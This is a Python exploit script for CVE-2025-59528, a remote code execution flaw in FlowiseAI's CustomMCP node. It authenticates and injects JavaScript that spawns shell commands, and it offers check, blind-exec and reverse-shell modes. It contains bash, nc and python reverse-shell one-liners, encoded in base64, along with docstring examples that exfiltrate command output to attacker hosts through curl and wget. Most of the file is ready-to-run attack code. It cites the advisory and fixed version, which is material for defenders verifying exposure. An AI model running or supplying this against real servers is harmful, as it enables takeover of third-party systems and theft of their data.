#!/usr/bin/env python3 """ CVE-2025-59528 - FlowiseAI CustomMCP Remote Code Execution =========================================================== A critical (CVSS 10.0) RCE vulnerability in FlowiseAI Flowise versions >= 2.2.7-patch.1 and < 3.0.6. The convertToValidJSONString function in CustomMCP.ts passes user input from the mcpServerConfig parameter to JavaScript's Function() constructor (equivalent to eval()), allowing arbitrary code execution with full Node.js runtime privileges. Discovered by: Kim SooHyun (@im-soohyun) Advisory: GHSA-3gcm-f6qx-ff7p Fix: Flowise v3.0.6 (replaced Function() with JSON5.parse()) Usage: # Check if target is vulnerable (time-based) python3 exploit.py -t http://target:3000 --mode check --email user@email.com --password pass # Blind command execution python3 exploit.py -t http://target:3000 --mode exec -c "curl http://attacker/pwned" --email user@email.com --password pass # Reverse shell (auto-tries bash, nc, python) python3 exploit.py -t http://target:3000 --mode revshell --lhost ATTACKER_IP --lport 4444 --email user@email.com --password pass """ import argparse import requests import sys import json import base64 import time import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) BANNER = r""" _____ _ _______ ___ ___ ___ ___ _____ ___ ___ ___ ___ / ____| | | | ___| |__ \ / _ \__ \| __| | ____/ _ \| __|__ \( _ ) | | | | | | _| ______ ) | | | | ) |__ \ _____|__ \| (_) |__ \ / / _ \ | | | |_| | |_ |______/ /| |_| |/ / ___) |_____|__) \\__, |___) / /| (_) | \____| \_/ |_____| |_| \___/|___|____/ |____/ /_/|____/_/ \___/ FlowiseAI CustomMCP Node — Remote Code Execution (CVE-2025-59528) Discovered by Kim SooHyun (@im-soohyun) """ # API Endpoints EXPLOIT_ENDPOINT = "/api/v1/node-load-method/customMCP" LOGIN_ENDPOINT = "/api/v1/auth/login" VERSION_ENDPOINT = "/api/v1/version" # ───────────────────────────────────────────────────────────── # Authentication # ───────────────────────────────────────────────────────────── def flowise_get_version(session, base_url): """Detect Flowise version via the version API endpoint.""" try: resp = session.get(f"{base_url}{VERSION_ENDPOINT}", timeout=10) if resp.status_code == 200: data = resp.json() return data if isinstance(data, str) else data.get("version") except Exception: pass return None def flowise_login(session, base_url, email, password): """ Authenticate via Flowise login API and store session cookies. Flowise >= 3.0.1 requires JWT auth. The server returns JWT tokens as Set-Cookie headers (token, refreshToken, connect.sid). The requests session automatically stores these for subsequent calls. """ resp = session.post( f"{base_url}{LOGIN_ENDPOINT}", json={"email": email, "password": password}, timeout=10, ) if resp.status_code == 200: print("[+] Authentication successful") return True elif resp.status_code == 401: print("[-] Authentication failed: invalid credentials") return False else: print(f"[-] Login returned HTTP {resp.status_code}: {resp.text[:200]}") return False # ───────────────────────────────────────────────────────────── # Payload Construction # ───────────────────────────────────────────────────────────── def build_payload(cmd: str) -> dict: """ Build the exploit request body with injected JavaScript. The vulnerable code path: Function('return ' + mcpServerConfig)() Our payload is a JS object literal with an IIFE that executes arbitrary commands via child_process.exec() (async/non-blocking). Uses exec() instead of execSync() to avoid blocking the Node.js event loop, matching the approach in the Metasploit module. """ # Escape characters that break the JS string context safe_cmd = cmd.replace('\\', '\\\\').replace('"', '\\"') js_payload = ( '{x:(function(){' 'const cp = process.mainModule.require("child_process");' f'cp.exec("{safe_cmd}",()=>{{}});' 'return 1;' '})()}' ) return { "loadMethod": "listActions", "inputs": { "mcpServerConfig": js_payload } } def build_revshell_cmd(lhost: str, lport: int, shell_type: str) -> str: """ Build a reverse shell one-liner, base64-encoded to avoid escaping issues when injected into the JS payload. """ shells = { "bash": f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'", "nc": f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f", "python": ( f"python3 -c 'import socket,subprocess,os;" f"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);" f"s.connect((\"{lhost}\",{lport}));" f"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);" f"subprocess.call([\"/bin/sh\",\"-i\"])'" ), } raw_cmd = shells.get(shell_type, shells["bash"]) b64 = base64.b64encode(raw_cmd.encode()).decode() return f"echo {b64} | base64 -d | sh" # ───────────────────────────────────────────────────────────── # Exploit Sender # ───────────────────────────────────────────────────────────── def send_exploit(session, base_url, cmd, timeout=10): """ Send the exploit POST request to the CustomMCP endpoint. NOTE: This is a blind RCE. The command output is NOT reflected in the HTTP response. The server always returns the default "No Available Actions" message regardless of execution result. Use callback-based techniques or a reverse shell to get output. """ url = f"{base_url.rstrip('/')}{EXPLOIT_ENDPOINT}" body = build_payload(cmd) try: resp = session.post(url, json=body, timeout=timeout, verify=False) return resp except requests.exceptions.Timeout: print("[*] Request timed out (may indicate a blocking shell connected)") return None except requests.exceptions.ConnectionError as e: print(f"[-] Connection failed: {e}") return None # ───────────────────────────────────────────────────────────── # Exploit Modes # ───────────────────────────────────────────────────────────── def mode_check(session, base_url): """ Verify the target is vulnerable using two methods: 1. Version detection via API 2. Time-based blind confirmation (sleep command) """ print("[*] Running vulnerability check...") print() # Version check version = flowise_get_version(session, base_url) if version: print(f"[*] Flowise version: {version}") else: print("[!] Could not detect version") # Time-based check print("[*] Sending sleep(3) payload for time-based confirmation...") start = time.time() resp = send_exploit(session, base_url, "sleep 3", timeout=15) elapsed = time.time() - start if resp and resp.status_code == 401: print("[-] Authentication required (401). Provide --email and --password") return False if elapsed >= 2.5: print(f"[+] VULNERABLE — response delayed {elapsed:.1f}s (expected ~3s)") return True if resp and resp.status_code == 200: print(f"[*] Got 200 in {elapsed:.1f}s — sleep may not have executed.") print("[*] Target might still be vulnerable. Try --mode revshell to confirm.") return None print(f"[-] Not vulnerable or unreachable ({elapsed:.1f}s)") return False def mode_exec(session, base_url, cmd): """ Execute a blind command on the target. Since this is blind RCE, use callback techniques to exfiltrate output: --exec -c "curl http://ATTACKER:PORT/$(id | base64)" --exec -c "wget http://ATTACKER:PORT/?out=$(whoami)" """ print(f"[*] Sending command: {cmd}") print("[*] NOTE: This is blind RCE — output is NOT in the response.") print("[*] Use callback (curl/wget to your server) to see output.") print() resp = send_exploit(session, base_url, cmd) if resp is None: return if resp.status_code == 401: print("[-] Authentication failed (401)") return if resp.status_code == 200: print(f"[+] Payload delivered (HTTP 200)") else: print(f"[-] Unexpected response: HTTP {resp.status_code}") print(resp.text[:300]) def mode_revshell(session, base_url, lhost, lport, shell_type): """Send reverse shell payload(s) to the target.""" types_to_try = ["bash", "nc", "python"] if shell_type == "auto" else [shell_type] if shell_type == "auto": print("[*] Auto mode — trying bash, nc, and python reverse shells") print(f"[!] Start your listener first: nc -lvnp {lport}") print() for stype in types_to_try: cmd = build_revshell_cmd(lhost, lport, stype) print(f"[*] Sending {stype} reverse shell → {lhost}:{lport}") resp = send_exploit(session, base_url, cmd, timeout=5) if resp is None: print(f"[+] Timed out — check your listener!") return True if resp.status_code == 401: print("[-] Authentication failed (401)") return False if resp.status_code == 200: print(f" Delivered (HTTP 200)") print() print("[*] All payloads sent. Check your listener!") print("[*] exec() is async — the server responds immediately even on success.") # ───────────────────────────────────────────────────────────── # CLI # ───────────────────────────────────────────────────────────── def main(): parser = argparse.ArgumentParser( description="CVE-2025-59528 — FlowiseAI CustomMCP Remote Code Execution", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 exploit.py -t http://target:3000 --mode check --email user@email.com --password pass python3 exploit.py -t http://target:3000 --mode exec -c "curl http://ATTACKER/pwned" --email user@email.com --password pass python3 exploit.py -t http://target:3000 --mode revshell --lhost 10.10.14.1 --lport 4444 --email user@email.com --password pass python3 exploit.py -t http://target:3000 --mode revshell --lhost 10.10.14.1 --lport 4444 --cookie "token=eyJ...;connect.sid=s%3A..." """ ) parser.add_argument("-t", "--target", required=True, help="Target URL (e.g. http://target:3000)") parser.add_argument("--mode", required=True, choices=["check", "exec", "revshell"], help="check = test vuln, exec = blind cmd, revshell = reverse shell") parser.add_argument("-c", "--command", default="id", help="Command to run (exec mode)") parser.add_argument("--lhost", help="Your IP (revshell mode)") parser.add_argument("--lport", type=int, default=4444, help="Your port (default: 4444)") parser.add_argument("--shell-type", default="auto", choices=["auto", "bash", "nc", "python"], help="Reverse shell type (default: auto)") auth = parser.add_argument_group("Authentication") auth.add_argument("--email", help="Flowise email (JWT auth, >= 3.0.1)") auth.add_argument("--password", help="Flowise password") auth.add_argument("--username", help="Flowise username (Basic Auth, < 3.0.1)") auth.add_argument("--cookie", help="Raw Cookie header string (fallback)") args = parser.parse_args() print(BANNER) # Normalize URL target = args.target if args.target.startswith("http") else f"http://{args.target}" # Setup session session = requests.Session() session.verify = False session.headers.update({ "Content-Type": "application/json", "x-request-from": "internal", }) print(f"[*] Target: {target}") print(f"[*] Mode: {args.mode}") # ── Authentication ── if args.cookie: session.headers["Cookie"] = args.cookie print("[*] Auth: cookie string") elif args.email and args.password: print(f"[*] Auth: JWT login ({args.email})") if not flowise_login(session, target, args.email, args.password): sys.exit(1) elif args.username and args.password: session.auth = (args.username, args.password) print(f"[*] Auth: Basic ({args.username})") else: print("[*] Auth: none") print() # ── Run mode ── if args.mode == "check": mode_check(session, target) elif args.mode == "exec": mode_exec(session, target, args.command) elif args.mode == "revshell": if not args.lhost: print("[-] --lhost is required for revshell mode") sys.exit(1) mode_revshell(session, target, args.lhost, args.lport, args.shell_type) if __name__ == "__main__": main()